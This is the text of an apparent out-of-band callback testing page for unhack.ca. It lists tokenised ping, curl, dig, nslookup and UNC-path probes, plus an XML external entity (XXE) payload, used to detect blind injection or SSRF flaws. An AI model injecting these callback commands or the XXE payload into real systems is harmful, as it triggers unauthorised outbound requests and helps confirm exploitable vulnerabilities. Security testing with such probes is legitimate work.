$ ping -c1 -p 0079f7b82ff770ad21d8215146dca600 unhack.ca
$ curl http://unhack.ca/p/79f7b82ff770ad21d8215146dca6
$ dig 79f7b82ff770ad21d8215146dca6 @unhack.ca
$ dig 79f7b82ff770ad21d8215146dca6.ns.unhack.ca
C:\> nslookup 79f7b82ff770ad21d8215146dca6 unhack.ca
C:\> type \\unhack.ca\79f7b82ff770ad21d8215146dca6\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/79f7b82ff770ad21d8215146dca6">]>
<foo>&xxe;</foo>
Waiting for ping...